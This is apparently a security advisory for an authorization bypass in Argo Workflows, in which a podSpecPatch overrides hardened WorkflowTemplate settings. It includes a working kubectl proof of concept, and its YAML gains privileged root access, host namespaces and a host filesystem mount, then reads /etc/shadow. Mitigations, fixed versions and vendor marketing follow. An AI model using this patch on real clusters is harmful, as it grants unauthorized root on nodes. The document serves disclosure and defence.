CVE-2026-31892

A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation.

Details

Three issues combine to create this vulnerability:

1. Merge priority order:JoinWorkflowSpec merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because podSpecPatch is a plain string field, the Workflow's value replaces the WorkflowTemplate's value.

2. No security validation on podSpecPatch: ApplyPodSpecPatch() only validates that the patch is syntactically valid JSON conforming to the Kubernetes PodSpec schema. No checks are performed for dangerous security settings such as privileged: true.

3. templateReferencing: Strict does not restrict podSpecPatch: Strict mode only checks whether WorkflowTemplateRef is set. If it is, the Workflow passes validation regardless of what other fields (including podSpecPatch) are present.

PoC

Prerequisites

A local Kubernetes cluster with Argo Workflows installed. The instructions below use kind.

1. Create a kind cluster and install Argo Workflows

kind create cluster --name argo-poc

kubectl create namespace argo
kubectl apply -n argo --server-side \
  -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml

Note: --server-side is required because some CRDs exceed the client-side annotation size limit.

Wait for the controller to be ready:

kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s

2. Enable templateReferencing: Strict

Patch the workflow controller configmap to enforce Strict mode:

kubectl patch configmap workflow-controller-configmap -n argo --type merge \
  -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'

Restart the controller to pick up the new config:

kubectl rollout restart deployment workflow-controller -n argo
kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s

3. Verify Strict mode is active

Attempt to submit a standalone Workflow (no workflowTemplateRef). It should be rejected:

cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: strict-test-
spec:
  entrypoint: test
  templates:
  - name: test
    container:
      image: alpine
      command: [echo, "hello"]
EOF

The Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:

STRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1)
kubectl get -n argo "$STRICT_WF" -o jsonpath='{.status.phase} {.status.message}'

Expected output:

Error workflows must use workflowTemplateRef to be executed when the controller is in reference mode

4: Create a hardened WorkflowTemplate

An administrator creates a WorkflowTemplate with restrictive security settings:

cat <<'EOF' | kubectl apply -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: secure-template
  namespace: argo
  annotations:
    description: "Admin-approved secure template with hardened security settings"
spec:
  entrypoint: secure-task
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 1000
  templates:
  - name: secure-task
    container:
      image: alpine:latest
      command: ["/bin/sh", "-c"]
      args:
        - |
          echo "=== Security Context Check ==="
          echo "Current UID: $(id -u)"
          echo "Current GID: $(id -g)"
          if cat /etc/shadow 2>/dev/null; then
            echo "EXPLOITED: Can read /etc/shadow!"
          else
            echo "SECURE: Cannot read /etc/shadow"
          fi
          if ls /host/etc/passwd 2>/dev/null; then
            echo "EXPLOITED: Host filesystem accessible!"
            cat /host/etc/passwd | head -5
          else
            echo "SECURE: No host filesystem access"
          fi
          if [ "$(id -u)" = "0" ]; then
            echo "EXPLOITED: Running as root!"
          else
            echo "SECURE: Running as non-root (UID: $(id -u))"
          fi
          echo "=== End Check ==="
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000
        allowPrivilegeEscalation: false
        capabilities:
          drop:
            - ALL
EOF

5. Submit a legitimate Workflow (baseline)

Submit a Workflow that references the secure template without modification:

cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: legit-use-
  namespace: argo
spec:
  workflowTemplateRef:
    name: secure-template
EOF

Wait for completion and check logs:

LEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1)
kubectl wait -n argo --for=condition=Completed "$LEGIT_WF" --timeout=120s
kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $LEGIT_WF)" -c main

Expected output (confirming the template's security settings are applied):

=== Security Context Check ===
Current UID: 1000
Current GID: 0
SECURE: Cannot read /etc/shadow
SECURE: No host filesystem access
SECURE: Running as non-root (UID: 1000)
=== End Check ===

6. Submit the bypass Workflow

Submit a Workflow that references the same secure template but includes a podSpecPatch that overrides all security settings:

cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: bypass-security-
  namespace: argo
spec:
  workflowTemplateRef:
    name: secure-template
  podSpecPatch: |
    hostPID: true
    hostNetwork: true
    containers:
    - name: main
      securityContext:
        privileged: true
        runAsUser: 0
        runAsNonRoot: false
        allowPrivilegeEscalation: true
        capabilities:
          add:
            - ALL
          drop: []
      volumeMounts:
      - name: host-root
        mountPath: /host
    volumes:
    - name: host-root
      hostPath:
        path: /
        type: Directory
EOF

Wait for completion and check logs:

BYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1)
kubectl wait -n argo --for=condition=Completed "$BYPASS_WF" --timeout=120s
kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $BYPASS_WF)" -c main

Expected output (all security settings bypassed):

=== Security Context Check ===
Current UID: 0
Current GID: 0
root:*::0:::::
bin:!::0:::::
[... /etc/shadow contents dumped ...]
EXPLOITED: Can read /etc/shadow!
EXPLOITED: Host filesystem accessible!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[... host /etc/passwd contents ...]
EXPLOITED: Running as root!
=== End Check ===

The file /etc/shadow is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.

Mitigation

When templateReferencing: Strict or Secure is enabled, the controller should reject Workflows that include a podSpecPatch field when using workflowTemplateRef.

Without the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (privileged, hostPID, hostNetwork, hostIPC, hostPath) on pods created by Argo Workflows.

The purpose of templateReferencing: Strict is to restrict users to only execute admin-approved WorkflowTemplates. This is explicitly documented as a security feature:

You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.

A user who can submit Workflows referencing approved templates can use podSpecPatch to:

• Run containers as root (runAsUser: 0)
• Enable privileged mode (privileged: true)
• Mount the host filesystem (hostPath volumes)
• Share host PID/network/IPC namespaces (hostPID, hostNetwork, hostIPC)
• Add all Linux capabilities (capabilities.add: ["ALL"])

This effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the WorkflowTemplate.

The templateReferencing feature was introduced in Argo Workflows v2.9.0 through PR #3149.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

Kodem intelligence

1. What is CVE-2026-31892? CVE-2026-31892 is a high-severity incorrect authorization vulnerability in github.com/argoproj/argo-workflows/v4 (go), affecting versions < 4.0.2. It is fixed in 4.0.2, 3.7.11. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. Which packages are affected by CVE-2026-31892?
   • github.com/argoproj/argo-workflows/v4 (go) (versions < 4.0.2)
   • github.com/argoproj/argo-workflows/v3 (go) (versions < 3.7.11)
   • github.com/argoproj/argo-workflows (go) (versions >= 2.9.0, < 3.0.0)
3. Is there a fix for CVE-2026-31892? Yes. CVE-2026-31892 is fixed in 4.0.2, 3.7.11. Upgrade to this version or later.
4. Is CVE-2026-31892 exploitable, and should I be worried? Whether CVE-2026-31892 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-31892 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-31892?
   • Upgrade github.com/argoproj/argo-workflows/v4 to 4.0.2 or later
   • Upgrade github.com/argoproj/argo-workflows/v3 to 3.7.11 or later